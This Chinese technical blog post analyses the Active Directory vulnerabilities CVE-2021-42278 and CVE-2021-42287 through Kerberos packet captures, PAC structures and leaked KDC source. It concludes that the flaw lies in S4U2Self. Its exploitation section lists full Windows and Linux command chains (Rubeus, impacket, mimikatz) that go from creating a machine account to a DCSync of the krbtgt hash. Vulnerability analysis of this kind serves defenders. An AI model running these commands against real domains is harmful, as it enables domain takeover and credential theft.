解析CVE-2021-42278和CVE-2021-42287

 

0x00 背景

​ 在11月份时,微软发布了几个针对Windows AD域的安全补丁,最受大家关注的以及本文主要讨论的这两个漏洞编号为:CVE-2021-42278CVE-2021-42287,可以看到影响版本如下:

image-20211219234013917

​ 实质上,在@cube0x0发布此攻击的武器化工具:nopac后,这两个漏洞才真正进入大家视野。在12月12日我也发布文章说明了漏洞的简单原理以及利用方式。

​ 一些公众号、星球等,近期发布的文章称“国内所有的文章所说的原理都是错误的”,遂又引起了自己的关注。

CVE-2021-42278涉及的原理方面应该没有什么可以讨论的,而CVE-2021-42287,这个漏洞是争议比较大的地方,此文从CVE-2021-42287这个有争议的漏洞出发,以Kerberos协议认证过程的几个阶段一步步的来探究大家有争议的地方。

注:阅读本文需要一定的Kerberos认证协议基础和域内账户相关概念基本了解以及对两个漏洞流程有大致的了解。

0x01 CVE-2021-42278 - Name impersonation

​ 首先,这一个漏洞非常明了,默认常识情况加入域的主机所创建的机器账户应该由$结尾,但存在漏洞的情况下,DC并没有一个对于sAMAccountName属性的验证过程,所以我们利用ms-ds-machineaccountquota,这一默认的特性就可以创建没有$结尾的机器账户。

ms-ds-machineaccountquota:允许用户在域中创建的计算机帐户数,默认为10

https://docs.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota

0x02 CVE-2021-42287 - KDC bamboozling

​ 直接抓取攻击成功的数据包进行分析

image-20211217150307257

1. AS_REQ阶段

​ 这里发出AS_REQ请求的账户是一个机器账户,并且名字已经修改为DC(不携带$)

​ 首先来看AS_REQ请求数据包中,除req-body的其他字段所代表的意义

as-req数据包-1

  • PVNO:表示的是Kerberos协议的版本,这里代表使用Kerberos V5
  • msg-type:消息类型
  • padata:Pre-authentication Data,预身份认证,是 Kerberos V5 协议的扩展点。通过在 AS-REQ 和 AS-REP 消息的 padata 字段中提供一个或多个预认证消息来执行预认证。
    • PA-DATA PA-ENC-TIMESTAMP:使用用户hash加密的时间戳,AS收到消息后使用对应hash解密,时间戳在规定范围即认证通过;域内设置”Do not require Kerberos preauthentication”,DC不会有Pre-authentication,这里可能出现的安全问题是AS-REP Roasting
    • PA-DATA PA-PAC-REQUEST:Privilege Attribute Certificate,用于验证用户是否有权限访问某服务,这里为开启状态

注意,这里漏洞利用的这一步所申请的TGT是要求启用PAC的

​ 接着查看req-body部分,

req-body

  • kdc-options:请求生成票据的标志位
  • cname:进行身份验证的账户名,这里是我们修改后的,为DC

​ 这里可能出现的安全问题是kerberos pre-auth特性枚举域用户

  • sname:被请求服务的名字
  • etype:加密类型
2. AS_REP阶段

​ 首先查看除ticket->enc-part中返回的票据部分的关键所有字段代表的意思,部分字段解释过的将略过

AS_REP

  • ticket:使用krbtgt账户hash加密的部分,用于下一阶段TGS_REQ

​ 这里可能出现的安全问题为,获得krbtgt账户hash后可以伪造黄金票据。

  • enc-part:请求帐户对应的hash为密钥加密后的值,里面包含session-key,为在下一阶段认证所用到的会话密钥

​ 接着返回到ticket->enc-part部分,这里我们要重点关注返回TGT中的PAC部分,接下来穿插关于PAC的介绍。

0x03 PAC介绍

​ Kerberos协议是最常用的身份验证协议之一,但是Kerberos协议不提供授权,Kerberos提供了扩展,通过将授权信息封装在AuthorizationData结构中,PAC是为了给kerberos协议扩展提供AuthorizationData数据。

Encapsulation layers

​ 如上图,AD-IF-RELEVANT元素是最外层的包装器,它封装了另一个AD-WIN2K-PAC类型的AuthorizationData元素,在AD-WIN2K-PAC结构中最开始包含一个结构叫做PACTYPE,这个结构实质上是PAC的最顶层结构,紧随这个结构之后的是若干个PAC_INFO_BUFFER结构,这些结构用来指定PACTYPE结构后PAC实际内容的指针。

​ 下面简单看一下所提到的PACTYPEPAC_INFO_BUFFER结构:

PACTYPE

PACTYPE结构是 PAC 的最顶层结构,指定PAC_INFO_BUFFER数组中的元素数量。 PACTYPE结构用作完整 PAC 数据的标头。

PACTYPE

  • Buffers:为包含PAC_INFO_BUFFER结构的数组
  • cBuffers:用于定义 Buffers 数组中的条目数

PAC_INFO_BUFFER

PACTYPE结构之后是一个 PAC_INFO_BUFFER 结构数组,每个结构定义了 PAC 缓冲区的类型和字节偏移量。 PAC_INFO_BUFFER 数组没有定义的顺序。结构如下图:

PAC_INFO_BUFFER

  • ulType:一个 32 位无符号整数,采用 little-endian格式,用于描述 Offset 处包含的缓冲区中存在的数据类型。

  • Offset:一个 64 位无符号整数,采用 little-endian 格式,包含从 PACTYPE 结构开始到缓冲区开头的偏移量。数据偏移必须是八的倍数。

  • cbBufferSize :一个 32 位无符号整数,采用 little-endian 格式,包含 PAC 中位于 Offset 处的缓冲区的大小。

具体的ulType类型如下:

Value Meaning
0x00000001 Logon information . PAC structures MUST contain one buffer of this type. Additional logon information buffers MUST be ignored.
0x00000002 Credentials information . PAC structures SHOULD NOT contain more than one buffer of this type, based on constraints specified in section 2.6. Second or subsequent credentials information buffers MUST be ignored on receipt.
0x00000006 Server checksum . PAC structures MUST contain one buffer of this type. Additional logon server checksum buffers MUST be ignored.
0x00000007 KDC (privilege server) checksum (section 2.8). PAC structures MUST contain one buffer of this type. Additional KDC checksum buffers MUST be ignored.
0x0000000A Client name and ticket information . PAC structures MUST contain one buffer of this type. Additional client and ticket information buffers MUST be ignored.
0x0000000B Constrained delegation information . PAC structures MUST contain one buffer of this type for Service for User to Proxy (S4U2proxy) [MS-SFU] requests and none otherwise. Additional constrained delegation information buffers MUST be ignored.
0x0000000C User principal name (UPN) and Domain Name System (DNS) information . PAC structures SHOULD NOT contain more than one buffer of this type. Second or subsequent UPN and DNS information buffers MUST be ignored on receipt.
0x0000000D Client claims information . PAC structures SHOULD NOT contain more than one buffer of this type. Additional client claims information buffers MUST be ignored.
0x0000000E Device information . PAC structures SHOULD NOT contain more than one buffer of this type. Additional device information buffers MUST be ignored.
0x0000000F Device claims information . PAC structures SHOULD NOT contain more than one buffer of this type. Additional device claims information buffers MUST be ignored.
0x00000010 Ticket checksum PAC structures SHOULD NOT contain more than one buffer of this type. Additional ticket checksum buffers MUST be ignored.

KERB_VALIDATION_INFO

​ 我们主要关注0x00000001KERB_VALIDATION_INFO结构,定义了 DC 提供的用户登录和授权信息。指向 KERB_VALIDATION_INFO结构的指针被序列化为字节数组,然后放置在最顶层 PACTYPE 结构的 Buffers 数组之后

​ PAC主要验证身份的实现就是依靠这个部分

typedef struct _KERB_VALIDATION_INFO {
   FILETIME LogonTime;
   FILETIME LogoffTime;
   FILETIME KickOffTime;
   FILETIME PasswordLastSet;
   FILETIME PasswordCanChange;
   FILETIME PasswordMustChange;
   RPC_UNICODE_STRING EffectiveName;
   RPC_UNICODE_STRING FullName;
   RPC_UNICODE_STRING LogonScript;
   RPC_UNICODE_STRING ProfilePath;
   RPC_UNICODE_STRING HomeDirectory;
   RPC_UNICODE_STRING HomeDirectoryDrive;
   USHORT LogonCount;
   USHORT BadPasswordCount;
   ULONG UserId;
   ULONG PrimaryGroupId;
   ULONG GroupCount;
   [size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;
   ULONG UserFlags;
   USER_SESSION_KEY UserSessionKey;
   RPC_UNICODE_STRING LogonServer;
   RPC_UNICODE_STRING LogonDomainName;
   PISID LogonDomainId;
   ULONG Reserved1[2];
   ULONG UserAccountControl;
   ULONG SubAuthStatus;
   FILETIME LastSuccessfulILogon;
   FILETIME LastFailedILogon;
   ULONG FailedILogonCount;
   ULONG Reserved3;
   ULONG SidCount;
   [size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
   PISID ResourceGroupDomainSid;
   ULONG ResourceGroupCount;
   [size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
 } KERB_VALIDATION_INFO;

​ 这个结构中我们主要关注GroupIds这个成员,它为指向 GROUP_MEMBERSHIP结构列表的指针,该列表包含帐户域中帐户所属的组。

这里如果可以修改的话那么修改为高权限组即可达到域内账户提权的效果,比如MS14-068

​ 另外ulType类型中的0x00000006对应的是服务检验和,0x00000007对应的是KDC校验和,他们是为了防止PAC内容被篡改。

我们只关注身份授权,所以不探讨其他的先。

2.AS_REP阶段-续

介绍完PAC后,接着回到上述第二部分的2小节中的ticket->enc-part部分,看完上述PAC介绍我相信下面的结构会一目了然。

TGT

我们重点关注GroupIds,可以看到在这个返回的PAC中,赋予给这个账户的PAC中的用于授权的关键的一个标志为515

PAC_LOGON_INFO

515为Domain Computers组的RID,那么我们可以确定,到这一步为止,所有的流程还是正常的,这个PAC中所代表的身份还是我们创建的这个机器账户。

3.TGS_REQ

​ 这个阶段的请求包,我们主要关注padata中的部分

TGS_REQ

​ 展开后如下图

PA-TGS-REQ

PA-TGS-REQ->ap-req->ticket为AS_REP所得到的TGT票据结构PA-TGS-REQ->ap-req->enc-part与AS_REP返回的一致

PA-TGS-REQ->ap-req->authenticator用于下一步认证使用的会话密钥,通过session-key作为密钥加密时间戳,用户名等信息。

​ 其次,在S4U2Self协议扩展中,Service代表用户请求一个TGS Ticket,KDC通过用户名和域名来识别用户,或者还有一种方式是通过证书来识别用户,如果通过用户名和域名来识别用户的话,Service会使用自己的TGT并添加一个新的padata,就是PA-FOR-USER结构。

​ 这个结构如下:

    PA-FOR-USER ::= SEQUENCE {
       -- PA TYPE 129
       userName              [0] PrincipalName,
       userRealm              [1] Realm,            
       cksum                 [2] Checksum,             
       auth-package          [3] KerberosString
    }

​ 其他的参数一目了然,其中第三个Checksum是用来保护这个结构不受篡改的。

userName、userRealm 和 auth-package 的校验和。这是使用 KERB_CHECKSUM_HMAC_MD5 函数 计算的。

​ 由于这里是使用s4u2self协议去代替机器账户请求一个到cifs服务的TGS Ticket,所以我们查看padata部分其实还包含一个PA-FOR-USER的结构。

​ 可以看到如下图,具有SPN的账户也就是我们的机器账户,是代Administrator的身份请求到cifs服务的TGS Ticket

PA-FOR-USER

到这来看,KRB_TGS_REQ消息中传递的 TGT 的请求主体的身份是我们改名后的机器账户DC,我们其实这里就已经可以八九不离十的猜测到,这个漏洞就是验证的这一步出现的问题,因为申请TGT后攻击者使这个账户“消失”,TGS找不到这个账户所以自动使用DC$的身份去创建服务票证。那么这个高权限账户自然可以做对应的处理。

4.TGS_REP

​ 这里我们主要关注ticket中返回的TGS Ticket,这里票据的enc-part是使用请求的服务的密钥加密的,这里可能发生的安全问题成为白银票据。同样请求到对应服务的TGS Ticket后我们可以爆破服务hash,称为Kerberoasting

TGS_REP

​ 这里重点关注TGS Ticket中的PAC部分

image-20211217190202340

继续展开查看PAC_LOGON_INFO中的关键点,KERB_VALIDATION_INFO结构

PAC_LOGON_INFO

​ 可以看到关键的字段组的RID等,全部是administrator身份对应的值,现在这个票据已经是高权限票据了,完全可以正常的通过目标服务与DC之间的PAC授权验证。

​ 在TGS_REQTGS_REP消息序列中,Kerberos 主体使用其TGT向服务请求TGS TicketTGS 会使用来自在KRB_TGS_REQ消息中传递的 TGT 的请求主体的身份来创建服务票证。

​ 在这里验证我们上述第3小节的猜想,确实是因为对应机器账户名字的更改,致使TGS找不到对应机器账号会在后面添加$号,认为这个就是对应的机器账户,那么DC本身的机器账户肯定有权限创建通过S4U2Self申请的TGS Ticket。而我们又是通过S4U2Self协议对administrator域管理员去申请访问cifs服务TGS Ticket,回想一下AS_REP阶段的TGT内所生成的PAC中的身份其实还是一个“低权身份”,因为TGS 会使用来自在KRB_TGS_REQ消息中传递的 TGT 的请求主体的身份来创建服务票证。TGS误以为我们的机器账户是DC的机器账户后,创建对应administrator的身份的TGS Ticket,当然PAC中的身份也是“高权身份”。

​ 简单描述一下这个逻辑,其实就是我们要申请Sercive代替administrator申请访问任意服务的TGS Ticket,那么沿用请求机器账户身份的PAC,从常理来看当然不行,因为这个账户是没有权限访问对应的服务的,TGS肯定要重新生成TGS Ticket中的PAC结构,来让这个票据有它要进行S4U2Self的对应账户身份去访问对应的服务。

​ 这也就是为什么有些文章中,不使用S4U去请求TGT的情况下是无法利用成功的原因,主要就是S4U2Self这一步的原因。此外,熟悉Kerberos协议的都知道,验证PAC这一步是AP认证阶段Service与DC之间的事情。

0x04 “源代码”验证

​ 为了进一步验证上述结论,查看XP泄露的源代码,定位到代码处:

https://github.com/cryptoAlgorithm/nt5src/blob/daad8a087a4e75422ec96b7911f1df4669989611/Source/XPSP1/NT/ds/security/protocols/kerberos/server/gettgs.cxx#L230

​ 这里是处理PAC生成的代码部分,第268行为非S4U请求的处理判断,392行为S4U请求的判断,我们直接对比查看:

篇幅原因我就不贴出全部代码,感兴趣的可以自行点开上述链接查看

非S4U请求:

​ 首先会对AuthorizationData做一个解密,回想一下,其实就是对padata -> ap-req -> ticket->enc-part,使用krbtgt账户的密钥对加密的票据部分做了解密。

EncryptedAuthData->TempAuthData->SuppliedAuthData

image-20211220005942975

​ 最后拷贝到新的票据中,正常的携带PAC申请TGS Ticket也是这个流程,会沿用最初的PAC身份。

image-20211220020016357

KerbCopyAndAppendAuthData,拷贝并追加函数的声明

image-20211220015926114

S4U请求:

​ 会生成对应用户的PAC(NewPacAuthData),然后赋值给FinalAuthData

image-20211220013415099

​ 猜测399行KdcGetPacAuthData(),就是取的PA-FOR-USER结构中的name

image-20211220020252924

​ 代码比较多,我直接给出函数定义地址:

KdcGetS4UTicketInfo()

https://github.com/cryptoAlgorithm/nt5src/blob/daad8a087a4e75422ec96b7911f1df4669989611/Source/XPSP1/NT/ds/security/protocols/kerberos/server/gettgs.cxx#L54

其中调用的关键函数:KdcGetTicketInfo()

https://github.com/cryptoAlgorithm/nt5src/blob/daad8a087a4e75422ec96b7911f1df4669989611/Source/XPSP1/NT/ds/security/protocols/kerberos/server/tktutil.cxx#L54

​ 接着之后在444行时,有一个else if 逻辑,大致是如果没有原始的PAC,就新添加一个PAC,注意,这里是else if,其实不会进入这个逻辑做处理,因为已经进入if条件了。

​ 在其他文章中所说“若原票据不存在PAC,则会构造一个新的PAC”,个人认为而这里实际上就是S4U新生成了PAC,并且数据包中也实际存在PAC。

​ 这里对比一下S4U的if逻辑与这个else if逻辑,所调用的生成PAC函数:

        KerbErr = KdcGetPacAuthData(
                     S4UUserInfo,
                     &S4UGroupMembership,
                     TargetServerKey,
                     NULL,                   // no credential key
                     AddResourceGroups,
                     FinalTicket,
                     S4UClientName,
                     &NewPacAuthData,
                     pExtendedError
                     );
            KerbErr = KdcGetPacAuthData(
                        UserInfo,
                        &GroupMembership,
                        TargetServerKey,
                        NULL,                   // no credential key
                        AddResourceGroups,
                        FinalTicket,
                        NULL, // no S4U client
                        &NewPacAuthData,
                        pExtendedError
                        );

​ 所以这里else if中所做的处理应该是对应于非S4U的处理。

​ 最后,也就是我上述所说的,并不是TGS_REQ中没有携带PAC然后去生成PAC,并且数据包中也确实存在PAC,而是正常的S4U请求就会重新生成对应模拟用户的PAC到Ticket中。

nopac所指的应该是所模拟的账户是没有pac的应该要重新生成。

​ 我这一小节的叙述与别的文章有一些出入或存在错误之处,欢迎对这一小节进行讨论交流批评指正。

0x05 利用

​ 需要对属性sAMAccountName and servicePrincipalName,具有写权限。说到机器账户,就可以利用域内默认的MAQ特性,默认允许域账户创建10个机器账户,而创建者对于机器账户具有写权限,当然可以更改这两个属性。

查看MAQ是否有限制,查看LDAP中的ms-ds-machineaccountquota属性即可。

攻击流程:

  1. 创建一个机器账户,这在之前的文章都有所提及,使用impacket的addcomputer.py或是powermad

    addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除

  2. 清除机器账户的servicePrincipalName属性

  3. 将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$

  4. 为机器账户请求TGT

  5. 将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可

  6. 通过S4U2self协议向DC请求ST

  7. DCsync

通过用户账户利用的话,需要对用户账户有GenericAll的权限还有用户的凭据

如果可以跨域创建机器账户或是有写权限的话,也可以利用此攻击进行跨域攻击。

Windows命令
# 0. create a computer account
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose

# 1. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose

# 2. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose

# 3. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap

# 4. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose

# 5. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]

# 6. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt 

或是Windows下的武器化工具:https://github.com/cube0x0/noPac

Linux命令
# 0. create a computer account
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

# 1. clear its SPNs
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

# 2. rename the computer (computer -> DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

# 3. obtain a TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

# 4. reset the computer name
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

# 5. obtain a service ticket with S4U2self by presenting the previous TGT
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

# 6. DCSync by presenting the service ticket
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
利用延申

​ 如果在限制了MAQ属性的情况下,攻击的核⼼就是需要对⼀个账⼾有写权限,需要找⼀个⽤⼾账⼾,或者是所在的组, 对sAMAccountName有可写的权限;比如说是Creater-sid(机器账户的创建者默认对其有写权限)。

Get-DomainObjectAcl duck -ResolveGUIDs | ?{$_.SecurityIdentifier -eq (GetDomainUser dog).objectsid}

​ 寻找限制MAQ时的“加域账⼾”,对应的组策略 privilege就是SeMachineAccountPrivilege

adfind -b CN=Computers,DC=test,DC=com -sddl+++ -s base -sdna -sddlfilter ;;"CR CHILD";;;

​ 其次,在域外没有凭据的情况下,就是要搞⼀个机器账⼾,可以配合webdav、rbcd等等思路进行NTLM Relay,然后就是MAQ 限制和不限制两种情况了。

0x06 总结

​ 本文介绍了CVE-2021-42278CVE-2021-42287的漏洞背景,并从协议以及源码角度来分析漏洞成因。并得出结论,这个漏洞出现的原因并不在某些文章所说的PAC。而是在S4U2Self的过程中产生的问题,也确实是在TGS_REP阶段,也证明了我最早发布的文章并没有描述错误。

​ 最后,本文如有描述错误欢迎大家批评指正,一起交流,并且欢迎大家关注微信公众号:黑客在思考

参考

https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e

https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041

https://www.rfc-editor.org/rfc/rfc4120.txt

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/ae60c948-fda8-45c2-b1d1-a71b484dd1f7

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/c38cc307-f3e6-4ed4-8c81-dc550d96223c

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/aceb70de-40f0-4409-87fa-df00ca145f5a

https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA